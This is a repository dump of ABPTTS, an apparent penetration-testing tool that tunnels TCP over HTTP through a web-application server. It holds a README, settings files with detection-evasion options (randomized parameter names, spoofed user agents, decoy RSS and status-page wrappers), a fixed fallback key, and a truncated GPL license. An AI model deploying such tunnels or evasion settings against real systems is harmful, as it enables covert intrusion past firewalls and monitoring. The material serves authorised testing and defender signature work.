9 |
10 |
--------------------------------------------------------------------------------
/settings_overlays/settings_overlay-lan.txt:
--------------------------------------------------------------------------------
1 | # Higher-throughput settings for use when connected to the server via
2 | # a LAN.
3 | # Using these values over slower networks (e.g. the internet) will
4 | # cause significant issues
5 | clientToServerBlockSize:::::::6553600
6 | serverToClientBlockSize:::::::6553600
7 | #clientToServerBlockSize:::::::655360000
8 | #serverToClientBlockSize:::::::655360000
--------------------------------------------------------------------------------
/template/war/WEB-INF/web.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | %PLACEHOLDER_fileGenerationAppNameShort%
5 | /%PLACEHOLDER_fileGenerationAppNameShort%.jsp
6 |
7 |
8 |
9 | %PLACEHOLDER_fileGenerationAppNameShort%
10 | /%PLACEHOLDER_fileGenerationAppNameShort%/*
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # A Black Path Toward The Sun
2 | (TCP tunneling over HTTP for web application servers)
3 |
4 | https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun
5 |
6 | Ben Lincoln, NCC Group, 2016
7 |
8 | ABPTTS uses a Python client script and a web application server page/package[1]
9 | to tunnel TCP traffic over an HTTP/HTTPS connection to a web application
10 | server. In other words, anywhere that one could deploy a web shell, one should
11 | now be able to establish a full TCP tunnel. This permits making RDP,
12 | interactive SSH, Meterpreter, and other connections through the web
13 | application server.
14 |
15 | The communication is designed to be fully compliant with HTTP standards,
16 | meaning that in addition to tunneling *in* through a target web application
17 | server, it can be used to establish an *outbound* connection through
18 | packet-inspecting firewalls.
19 |
20 | A number of novel features are used to make detection of its traffic
21 | challenging. In addition to its usefulness to authorized penetration testers,
22 | it is intended to provide IDS/WPS/WAF developers with a safe, live example of
23 | malicious traffic that evades simplistic regex-pattern-based signature models.
24 |
25 | An extensive manual is provided in PDF form, and walks the user through a
26 | variety of deployment scenarios.
27 |
28 | This tool is released under version 2 of the GPL.
29 |
30 | [1] Currently JSP/WAR and ASP.NET server-side components are included.
31 |
32 | Compare and contrast with:
33 |
34 | - reGeorg (https://github.com/sensepost/reGeorg)
35 |
36 | - HTTP tunnel for Node.js (https://github.com/johncant/node-http-tunnel)
37 |
38 | Named as an oblique reference to Cordyceps/Ophiocordyceps, e.g.:
39 | http://www.insectimages.org/browse/detail.cfm?imgnum=0014287
40 |
--------------------------------------------------------------------------------
/data/settings-fallback.txt:
--------------------------------------------------------------------------------
1 | # This file is an overlay used to replace the %RANDOMIZE% placeholders in the default
2 | # file with other values in the unlikely event that someone uses ABPTTS incorrectly.
3 | #
4 | # Do not alter the content of this file.
5 | headerNameKey:::::::x-xsession-id
6 | headerValueKey:::::::tQgGur6TFdW9YMbiyuaj9g6yBJb2tCbcgrEq
7 | encryptionKeyHex:::::::63688c4f211155c76f2948ba21ebaf83
8 | accessKeyMode:::::::header
9 | headerValueUserAgent:::::::Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
10 | paramNameAccessKey:::::::accesskey
11 | paramNameOperation:::::::op
12 | paramNameDestinationHost:::::::host
13 | paramNameDestinationPort:::::::port
14 | paramNameConnectionID:::::::connection
15 | paramNameData:::::::data
16 | paramNameEncryptedBlock:::::::encryptedblock
17 | opModeStringOpenConnection:::::::open
18 | opModeStringSendReceive:::::::sr
19 | opModeStringCloseConnection:::::::close
20 | responseStringHide:::::::OK
21 | responseStringConnectionCreated:::::::OPENED
22 | responseStringConnectionClosed:::::::CLOSED
23 | responseStringData:::::::DATA
24 | responseStringNoData:::::::NO_DATA
25 | responseStringErrorGeneric:::::::ERROR
26 | responseStringErrorInvalidRequest:::::::ERROR_INVALID_REQUEST
27 | responseStringErrorConnectionNotFound:::::::ERROR_CONNECTION_NOT_FOUND
28 | responseStringErrorConnectionOpenFailed:::::::ERROR_CONNECTION_OPEN_FAILED
29 | responseStringErrorConnectionCloseFailed:::::::ERROR_CONNECTION_CLOSE_FAILED
30 | responseStringErrorConnectionSendFailed:::::::ERROR_CONNECTION_SEND_FAILED
31 | responseStringErrorConnectionReceiveFailed:::::::ERROR_CONNECTION_RECEIVE_FAILED
32 | responseStringErrorDecryptFailed:::::::ERROR_DECRYPT_FAILED
33 | responseStringErrorEncryptFailed:::::::ERROR_ENCRYPT_FAILED
34 | responseStringErrorEncryptionNotSupported:::::::ERROR_ENCRYPTION_NOT_SUPPORTED
--------------------------------------------------------------------------------
/template/response_wrapper-rss.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Tech News - aggr3g8r.news
6 | http://technews.aggr3g8r.news/
7 | The latest news in technology
8 |
9 |
10 | New Windows version promises database filesystem
11 | http://technews.aggr3g8r.news/102937102/?utm_source=rss1.0&utm_medium=feed
12 | Microsoft has revealed that the next version of Windows will include a revolutionary feature in which the traditional "flat" filesystem is replaced by a relational database. This move will - among other things - allow users to assign multiple tags to files and allow searching by one or more tags instead of navigating a folder hierarchy.[AGGREG8RBINARY]TWljcm9zb2Z0IGhhcyByZXZlYWxlZCB0aGF0IHRoZSBuZXh0IHZlcnNpb24gb2YgV2luZG93cyB3aWxsIGluY2x1ZGUgYSByZ[/AGGREG8RBINARY]
13 |
14 |
15 |
16 | Major product has critical security flaws
17 | http://technews.aggr3g8r.news/102937102/?utm_source=rss1.0&utm_medium=feed
18 | Cyberdyne Systems released a critical update today for its flagship 800 series after independent security researchers disclosed critical remote code-execution flaws in the platform.[AGGREG8RBINARY]Q3liZXJkeW5lIFN5c3RlbXMgcmVsZWFzZWQgYSBjcml0aWNhbCB1cGRhdGUgdG9kYXkgZm9yIGl0cyBmbGFnc2hpcCA4MDAg[/AGGREG8RBINARY]
19 |
20 |
21 |
22 | Nerds debate merits of latest Hollywood reboot plans
23 | http://technews.aggr3g8r.news/102940982/?utm_source=rss1.0&utm_medium=feed
24 | Nerds across the globe engaged in a spirited debate over whether the latest 1990s-era entertainment to be "rebooted" by Hollywood would be fantastic or a cataclysmic disaster.[AGGREG8RBINARY]%ABPTTS_RESPONSE_CONTENT%[/AGGREG8RBINARY]
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/data/user-agents.txt:
--------------------------------------------------------------------------------
1 | Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
2 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
3 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0
4 | Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1
5 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0
6 | Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)
7 | Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1
8 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1
9 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
10 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
11 | Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)
12 | Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1
13 | Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02
14 | Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
15 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
16 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
17 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9
18 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
19 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
20 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
21 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
22 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
23 | Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
24 | Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
25 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
26 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:43.0) Gecko/20100101 Firefox/43.0
27 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9
28 | Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
29 | Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
30 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
31 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36
32 | Mozilla/5.0 (iPad; CPU OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1
33 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/601.2.7 (KHTML, like Gecko) Version/9.0.1 Safari/601.2.7
34 | Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
35 | Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0
36 | Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
37 | Mozilla/5.0 (Windows NT 5.1; rv:43.0) Gecko/20100101 Firefox/43.0
38 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/600.8.9 (KHTML, like Gecko) Version/8.0.8 Safari/600.8.9
39 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Trident/5.0)
--------------------------------------------------------------------------------
/template/response_wrapper-alt.html:
--------------------------------------------------------------------------------
1 |
2 | Newsfeed
3 |
4 |
136 | Welcome to your newsfeed! Once you add some RSS sources to your configuration file on the server, entries from those sources will appear here!
137 |
138 |
--------------------------------------------------------------------------------
/data/settings-default.txt:
--------------------------------------------------------------------------------
1 | # This file defines the defaults for all of the ABPTTS settings
2 | # It is implicitly used when generating usable ABPTTS config/server files
3 | # Generally, one should not change settings in this file. Create a copy
4 | # with just the settings that should be changed, and reference that copy
5 | # when creating the package of config/server files.
6 | #
7 | # Some (but not all!) of the settings support randomization via the factory
8 | # script. These have the placeholder value %RANDOMIZE% in this file. The script
9 | # handles assigning the correct type of value to these settings. You can override
10 | # randomization in custom overlay files by specifying values other than %RANDOMIZE%
11 | #
12 | # ABPTTS authentication / encryption
13 | #
14 | # Everything in this section MUST MATCH THE VALUES ON THE SERVER!
15 | #
16 | # HTTP request header name to use for sending the key used to access the ABPTTS
17 | # functionality instead of the dummy response page
18 | # this is lowercase because of httplib2's bad behaviour of converting all custom
19 | # request headers to lowercase. If it were mixed-case in the server configuration,
20 | # but converted to all-lowercase by httplib2, it wouldn't be picked up correctly
21 | # by the server.
22 | headerNameKey:::::::%RANDOMIZE%
23 | #
24 | # HTTP request header value corresponding to the header name defined above
25 | headerValueKey:::::::%RANDOMIZE%
26 | #
27 | # AES-128 encryption key used for ABPTTS-tunneled data (in ASCII hex format)
28 | # Leave blank to disable encryption
29 | encryptionKeyHex:::::::%RANDOMIZE%
30 |
31 | # Send access key as an HTTP header or a POST parameter?
32 | # A header should be slightly less likely to be logged than a POST parameter
33 | # valid values: header, postparam
34 | accessKeyMode:::::::header
35 |
36 | # HTTP anti-detection options
37 | #
38 | # User-Agent spoofing
39 | # note: not very solid spoofing because of httplib2's annoying behaviour of
40 | # making customer header names lowercase.
41 | headerValueUserAgent:::::::%RANDOMIZE%
42 |
43 |
44 | # ABPTTS protocol obfuscation
45 | #
46 | # Everything in this section MUST MATCH THE VALUES ON THE SERVER!
47 | #
48 | # These settings define the various request/response strings used by ABPTTS
49 | # E.g. if paramNameOperation is "op" and opModeStringSendReceive is "sr",
50 | # then when making a "send/receive" request, the (unencrypted) body will
51 | # contain the string "op=sr"
52 | #
53 | # These are redefinable to prevent detection by simplistic pattern-matching
54 | # IDS/IPS/WAF-type devices. I did not want any vendor to be able to claim
55 | # they could "detect" ABPTTS just because they wrote a regex like
56 | # "op=sr&.*connection=.*data="
57 | #
58 | # request parameter names
59 | paramNameAccessKey:::::::%RANDOMIZE%
60 | paramNameOperation:::::::%RANDOMIZE%
61 | paramNameDestinationHost:::::::%RANDOMIZE%
62 | paramNameDestinationPort:::::::%RANDOMIZE%
63 | paramNameConnectionID:::::::%RANDOMIZE%
64 | paramNameData:::::::%RANDOMIZE%
65 | paramNamePlaintextBlock:::::::%RANDOMIZE%
66 | paramNameEncryptedBlock:::::::%RANDOMIZE%
67 | #
68 | # separator characters to use inside of encrypted blocks, encoded as base64
69 | # These need to either be non-printable ASCII characters, or strings of sufficient
70 | # complexity that they will never appear inside the blocks they are separating.
71 | # It is extremely unlikely that they will ever be visible to an IDS/IPS/WAF-type
72 | # device.
73 | dataBlockNameValueSeparatorB64:::::::%RANDOMIZE%
74 | dataBlockParamSeparatorB64:::::::%RANDOMIZE%
75 | #
76 | # request parameter values for the Operation parameter
77 | opModeStringOpenConnection:::::::%RANDOMIZE%
78 | opModeStringSendReceive:::::::%RANDOMIZE%
79 | opModeStringCloseConnection:::::::%RANDOMIZE%
80 | #
81 | # response codes
82 | responseStringHide:::::::%RANDOMIZE%
83 | responseStringConnectionCreated:::::::%RANDOMIZE%
84 | responseStringConnectionClosed:::::::%RANDOMIZE%
85 | responseStringData:::::::%RANDOMIZE%
86 | responseStringNoData:::::::%RANDOMIZE%
87 | responseStringErrorGeneric:::::::%RANDOMIZE%
88 | responseStringErrorInvalidRequest:::::::%RANDOMIZE%
89 | responseStringErrorConnectionNotFound:::::::%RANDOMIZE%
90 | responseStringErrorConnectionOpenFailed:::::::%RANDOMIZE%
91 | responseStringErrorConnectionCloseFailed:::::::%RANDOMIZE%
92 | responseStringErrorConnectionSendFailed:::::::%RANDOMIZE%
93 | responseStringErrorConnectionReceiveFailed:::::::%RANDOMIZE%
94 | responseStringErrorDecryptFailed:::::::%RANDOMIZE%
95 | responseStringErrorEncryptFailed:::::::%RANDOMIZE%
96 | responseStringErrorEncryptionNotSupported:::::::%RANDOMIZE%
97 | #
98 | # begin/end blocks to wrap the response in
99 | # e.g. to make the server responses look superficially more like a status page,
100 | # forum post, API response, etc.
101 | # these are base64-encoded so that virtually any type of wrapper can be created
102 | # All text in these blocks is stripped by the ABPTTS client before processing
103 | # so make sure they aren't substrings of any of the values above
104 | #
105 | responseStringPrefixB64:::::::PGh0bWw+Cgk8aGVhZD4KCQk8dGl0bGU+U3lzdGVtIFN0YXR1czwvdGl0bGU+Cgk8L2hlYWQ+Cgk8Ym9keT4KPHByZT4K
106 | responseStringSuffixB64:::::::CjwvcHJlPgoJPC9ib2R5Pgo8L2h0bWw+
107 |
108 |
109 | # Output control
110 | #
111 | # IMPORTANT: log file output is currently unsupported because I spent the
112 | # better part of a day trying to get Python to synchronize file output
113 | # (to avoid out-of-order write operations), and failed.
114 | # Yes, I tried threading.Lock.
115 | # Yes, I also tried multiprocessing.Lock.
116 | # Yes, I tried requiring the acquisition of *both* types of Lock before
117 | # proceeding.
118 | # Yes, I tried explicitly calling flush() on the file object.
119 | # Yes, I tried building a buffer for file output that was monitored by
120 | # a separate thread and flushed to disk periodically.
121 | # Yes, I tried requiring acquisition of both Lock types before updating
122 | # the buffer *and* writing to disk.
123 | # No, none of this prevented write operations from conflicting and
124 | # writing out-of-order data to disk and/or overwriting data in memory
125 | # before it could be written to disk.
126 | # This mainly appeared in debug/verbose output mode, so it's probably
127 | # related to very high-frequency operations.
128 | # I am not going to incorporate a nonstandard library just to make this
129 | # work the way file output and thread-locking should.
130 | # If you want a log, redirect console output :\.
131 | #
132 | # Log file to append output to
133 | logFilePath:::::::ABPTTSClient-log.txt
134 | #
135 | # Write to the log file?
136 | writeToLog:::::::False
137 | #
138 | # Write to stdout?
139 | writeToStandardOut:::::::True
140 | #
141 | # output raw TCP request/response data?
142 | echoData:::::::False
143 | #
144 | # output raw HTTP request/response bodies?
145 | echoHTTPBody:::::::False
146 | #
147 | # output assorted debugging messages?
148 | echoDebugMessages:::::::False
149 | #
150 | # how frequently to provide stats regarding data I/O through the tunnel
151 | # e.g. a value of 100 will cause reporting every time the client has made 100
152 | # send/receive requests to the server.
153 | statsUpdateIterations:::::::100
154 |
155 |
156 | # Low-level network tuning - client-side settings
157 | #
158 | # maximum number of bytes to send to the server component in each send/receive operation
159 | # see the description for the corresponding serverToClientBlockSize value, later
160 | # in this file, for a detailed discussion.
161 | # This channel has less impact than that value unless a large amount of data is
162 | # being sent *to* the server, but the concept is the same.
163 | clientToServerBlockSize:::::::32768
164 | #
165 | # size of the TCP buffer to use on the client
166 | clientSocketBufferSize:::::::6553600
167 | #
168 | # initial socket timeout interval
169 | clientSocketTimeoutBase:::::::0.01
170 | #clientSocketTimeoutBase:::::::0.1
171 | #
172 | # If the following value is set to False, then the base timeout will be used continuously
173 | # Otherwise the timeout will be scaled up/down depending on client/server traffic
174 | # (to minimize unnecessary communication)
175 | autoscaleClientSocketTimeout:::::::True
176 | #autoscaleClientSocketTimeout:::::::False
177 | #
178 | # Variation range (as a fraction of the current timeout value) to apply to
179 | # whatever the current interval is
180 | clientSocketTimeoutVariation:::::::0.2
181 | #clientSocketTimeoutVariation:::::::0.0
182 | #
183 | # Multiplier (+/-) to use for autoscaling timeout interval:
184 | #clientSocketTimeoutScalingMultiplier:::::::0.25
185 | clientSocketTimeoutScalingMultiplier:::::::0.1
186 | #
187 | # Maximum timeout to allow the current timeout value to range to when
188 | # auto-scaling the value:
189 | clientSocketTimeoutMax:::::::1.0
190 | #
191 | # Minimum timeout to allow the current timeout value to range to when
192 | # auto-scaling:
193 | clientSocketTimeoutMin:::::::0.01
194 | #clientSocketTimeoutMin:::::::0.1
195 | #
196 | # Quasi-chunking settings
197 | #
198 | # some TCP clients (*cough*SCPonMacOS*cough*) have fragile sockets that are easily
199 | # overloaded. Sending e.g. 2MB (or even 128K, in some cases) of data all at once will
200 | # cause those clients to fail.
201 | #
202 | # Symptoms include e.g.:
203 | # - SCP clients reporting "Corrupted MAC on input. Disconnecting: Packet corrupt"
204 | # - rdesktop audio extremely stuttery, "Fooo!" on stdout
205 | # note: this will still happen to some extent (even if connecting directly
206 | # instead of over an ABPTTS tunnel) if the throughput is too low, but most
207 | # of the audio should make it through.
208 | #
209 | # These settings control the quasi-chunking mechanism I implemented to work around
210 | # this problem, where large blocks are split into smaller ones for relay to the
211 | # client.
212 | #
213 | # Most TCP client software I tested works fine without this mechanism, but I like
214 | # to default to the most reliable configuration, especially because losing a tunnel
215 | # connection during a pen test is extremely frustrating.
216 | #
217 | # Increasing the block size can measurably improve throughput if the client software
218 | # / OS is capable of handling it.
219 | #
220 | # Maximum size of data to send in each blocks to TCP clients connecting to ABPTTS
221 | # MacOS SCP* results:
222 | # 16384 success except in rare cases**
223 | # 32768 success except in rare cases**
224 | # 65536 success most of the time
225 | # 81920 success most of the time
226 | # 98304 consistent failure
227 | # 131072 consistent failure
228 | #
229 | # As reducing the value below 32768 did not appear to provide noticeably greater
230 | # reliability, this value is the default. Feel free to experiment with other values.
231 | #
232 | # * because this was by far the most finnicky TCP client I tested in terms of this
233 | # specific problem
234 | #
235 | # ** stress-testing the tunnel (three simultaneous interactive SSH sessions, each
236 | # of which was continuously looping through a "find /" command, combined with a
237 | # fourth connection to SCP a binary file) would occassionally result in a bad
238 | # transmission
239 | #
240 | # split data into blocks no larger than the following number of bytes
241 | # for sending to TCP clients connected to the client-side component
242 | clientBlockSizeLimitFromServer:::::::16384
243 | #
244 | # Wait time (in seconds) between blocks
245 | # Set to 0.0 to disable waiting between blocks
246 | clientBlockTransmitSleepTime:::::::0.0
247 |
248 | # Low-level network tuning - server-side settings
249 | #
250 | # for server-side languages that do not support automatically selecting IPv4 versus IPv6 as
251 | # necessary, it can be manually specified here in the event that IPv6 should be used from
252 | # the server to other systems.
253 | # Currently this option is only used by the ASP.NET / C# server-side component.
254 | useIPV6ClientSocketOnServer:::::::False
255 | #
256 | # maximum number of bytes to return to the client component in each send/receive operation
257 | # this value is the option which most directly affects the latency/throughput tradeoff of
258 | # the tunnel.
259 | # For example, a relatively low value like 32768 will ensure low enough latency
260 | # even over a relatively slow connection (IE the internet) to keep e.g. MacOS
261 | # SCP happy with the connection, but the throughput will be reduced
262 | # significantly. (approximately 1/7th the throughput versus no cap on this
263 | # value).
264 | # On the other hand, while high values will result in significantly increased
265 | # throughput (making e.g. streaming video over a Windows Remote Desktop practical in
266 | # some cases), the latency of the connection becomes much higher as well,
267 | # especially over a slower connection. During testing, this did not cause
268 | # issues for tunnels over a LAN, but over the internet, the delay due to
269 | # downloading the extremely large HTTP responses from the server did introduce
270 | # reliability issues with the connection.
271 | # recommendation: use a small value such as 32768 unless you are connecting over
272 | # a LAN, in which case you can consider increasing to e.g. 6553600
273 | serverToClientBlockSize:::::::32768
274 | #
275 | # if a socket has not been used in this many iterations (of send/receive requests
276 | # in the same session), consider it abandoned and close it
277 | serverSocketMaxUnusedIterations:::::::1000
278 | #
279 | # timeout value (in milliseconds) for the server socket
280 | # Setting this above 10 is likely to cause issues for Windows Remote Desktop
281 | # and other latency-sensitive applications
282 | serverSocketIOTimeout:::::::10
283 | #serverSocketIOTimeout:::::::1
284 | #serverSocketIOTimeout:::::::1000
285 | #
286 | # size of the TCP send buffer (in bytes)
287 | serverSocketSendBufferSize:::::::6553600
288 | #
289 | # size of the TCP receive buffer (in bytes)
290 | serverSocketReceiveBufferSize:::::::6553600
291 |
292 |
293 | # File-generation settings (for the factory script)
294 | #
295 | # short name to use for the application
296 | # e.g. if this value is FancyServerStatus, then server-side files will be
297 | # named things like FancyServerStatus.jsp, URL-mappings will be things like
298 | # /FancyServerStatus/, etc.
299 | fileGenerationAppNameShort:::::::%RANDOMIZE%
300 |
--------------------------------------------------------------------------------
/license.txt:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 2, June 1991
3 |
4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
6 | Everyone is permitted to copy and distribute verbatim copies
7 | of this license document, but changing it is not allowed.
8 |
9 | Preamble
10 |
11 | The licenses for most software are designed to take away your
12 | freedom to share and change it. By contrast, the GNU General Public
13 | License is intended to guarantee your freedom to share and change free
14 | software--to make sure the software is free for all its users. This
15 | General Public License applies to most of the Free Software
16 | Foundation's software and to any other program whose authors commit to
17 | using it. (Some other Free Software Foundation software is covered by
18 | the GNU Lesser General Public License instead.) You can apply it to
19 | your programs, too.
20 |
21 | When we speak of free software, we are referring to freedom, not
22 | price. Our General Public Licenses are designed to make sure that you
23 | have the freedom to distribute copies of free software (and charge for
24 | this service if you wish), that you receive source code or can get it
25 | if you want it, that you can change the software or use pieces of it
26 | in new free programs; and that you know you can do these things.
27 |
28 | To protect your rights, we need to make restrictions that forbid
29 | anyone to deny you these rights or to ask you to surrender the rights.
30 | These restrictions translate to certain responsibilities for you if you
31 | distribute copies of the software, or if you modify it.
32 |
33 | For example, if you distribute copies of such a program, whether
34 | gratis or for a fee, you must give the recipients all the rights that
35 | you have. You must make sure that they, too, receive or can get the
36 | source code. And you must show them these terms so they know their
37 | rights.
38 |
39 | We protect your rights with two steps: (1) copyright the software, and
40 | (2) offer you this license which gives you legal permission to copy,
41 | distribute and/or modify the software.
42 |
43 | Also, for each author's protection and ours, we want to make certain
44 | that everyone understands that there is no warranty for this free
45 | software. If the software is modified by someone else and passed on, we
46 | want its recipients to know that what they have is not the original, so
47 | that any problems introduced by others will not reflect on the original
48 | authors' reputations.
49 |
50 | Finally, any free program is threatened constantly by software
51 | patents. We wish to avoid the danger that redistributors of a free
52 | program will individually obtain patent licenses, in effect making the
53 | program proprietary. To prevent this, we have made it clear that any
54 | patent must be licensed for everyone's free use or not licensed at all.
55 |
56 | The precise terms and conditions for copying, distribution and
57 | modification follow.
58 |
59 | GNU GENERAL PUBLIC LICENSE
60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
61 |
62 | 0. This License applies to any program or other work which contains
63 | a notice placed by the copyright holder saying it may be distributed
64 | under the terms of this General Public License. The "Program", below,
65 | refers to any such program or work, and a "work based on the Program"
66 | means either the Program or any derivative work under copyright law:
67 | that is to say, a work containing the Program or a portion of it,
68 | either verbatim or with modifications and/or translated into another
69 | language. (Hereinafter, translation is included without limitation in
70 | the term "modification".) Each licensee is addressed as "you".
71 |
72 | Activities other than copying, distribution and modification are not
73 | covered by this License; they are outside its scope. The act of
74 | running the Program is not restricted, and the output from the Program
75 | is covered only if its contents constitute a work based on the
76 | Program (independent of having been made by running the Program).
77 | Whether that is true depends on what the Program does.
78 |
79 | 1. You may copy and distribute verbatim copies of the Program's
80 | source code as you receive it, in any medium, provided that you
81 | conspicuously and appropriately publish on each copy an appropriate
82 | copyright notice and disclaimer of warranty; keep intact all the
83 | notices that refer to this License and to the absence of any warranty;
84 | and give any other recipients of the Program a copy of this License
85 | along with the Program.
86 |
87 | You may charge a fee for the physical act of transferring a copy, and
88 | you may at your option offer warranty protection in exchange for a fee.
89 |
90 | 2. You may modify your copy or copies of the Program or any portion
91 | of it, thus forming a work based on the Program, and copy and
92 | distribute such modifications or work under the terms of Section 1
93 | above, provided that you also meet all of these conditions:
94 |
95 | a) You must cause the modified files to carry prominent notices
96 | stating that you changed the files and the date of any change.
97 |
98 | b) You must cause any work that you distribute or publish, that in
99 | whole or in part contains or is derived from the Program or any
100 | part thereof, to be licensed as a whole at no charge to all third
101 | parties under the terms of this License.
102 |
103 | c) If the modified program normally reads commands interactively
104 | when run, you must cause it, when started running for such
105 | interactive use in the most ordinary way, to print or display an
106 | announcement including an appropriate copyright notice and a
107 | notice that there is no warranty (or else, saying that you provide
108 | a warranty) and that users may redistribute the program under
109 | these conditions, and telling the user how to view a copy of this
110 | License. (Exception: if the Program itself is interactive but
111 | does not normally print such an announcement, your work based on
112 | the Program is not required to print an announcement.)
113 |
114 | These requirements apply to the modified work as a whole. If
115 | identifiable sections of that work are not derived from the Program,
116 | and can be reasonably considered independent and separate works in
117 | themselves, then this License, and its terms, do not apply to those
118 | sections when you distribute them as separate works. But when you
119 | distribute the same sections as part of a whole which is a work based
120 | on the Program, the distribution of the whole must be on the terms of
121 | this License, whose permissions for other licensees extend to the
122 | entire whole, and thus to each and every part regardless of who wrote it.
123 |
124 | Thus, it is not the intent of this section to claim rights or contest
125 | your rights to work written entirely by you; rather, the intent is to
126 | exercise the right to control the distribution of derivative or
127 | collective works based on the Program.
128 |
129 | In addition, mere aggregation of another work not based on the Program
130 | with the Program (or with a work based on the Program) on a volume of
131 | a storage or distribution medium does not bring the other work under
132 | the scope of this License.
133 |
134 | 3. You may copy and distribute the Program (or a work based on it,
135 | under Section 2) in object code or executable form under the terms of
136 | Sections 1 and 2 above provided that you also do one of the following:
137 |
138 | a) Accompany it with the complete corresponding machine-readable
139 | source code, which must be distributed under the terms of Sections
140 | 1 and 2 above on a medium customarily used for software interchange; or,
141 |
142 | b) Accompany it with a written offer, valid for at least three
143 | years, to give any third party, for a charge no more than your
144 | cost of physically performing source distribution, a complete
145 | machine-readable copy of the corresponding source code, to be
146 | distributed under the terms of Sections 1 and 2 above on a medium
147 | customarily used for software interchange; or,
148 |
149 | c) Accompany it with the information you received as to the offer
150 | to distribute corresponding source code. (This alternative is
151 | allowed only for noncommercial distribution and only if you
152 | received the program in object code or executable form with such
153 | an offer, in accord with Subsection b above.)
154 |
155 | The source code for a work means the preferred form of the work for
156 | making modifications to it. For an executable work, complete source
157 | code means all the source code for all modules it contains, plus any
158 | associated interface definition files, plus the scripts used to
159 | control compilation and installation of the executable. However, as a
160 | special exception, the source code distributed need not include
161 | anything that is normally distributed (in either source or binary
162 | form) with the major components (compiler, kernel, and so on) of the
163 | operating system on which the executable runs, unless that component
164 | itself accompanies the executable.
165 |
166 | If distribution of executable or object code is made by offering
167 | access to copy from a designated place, then offering equivalent
168 | access to copy the source code from the same place counts as
169 | distribution of the source code, even though third parties are not
170 | compelled to copy the source along with the object code.
171 |
172 | 4. You may not copy, modify, sublicense, or distribute the Program
173 | except as expressly provided under this License. Any attempt
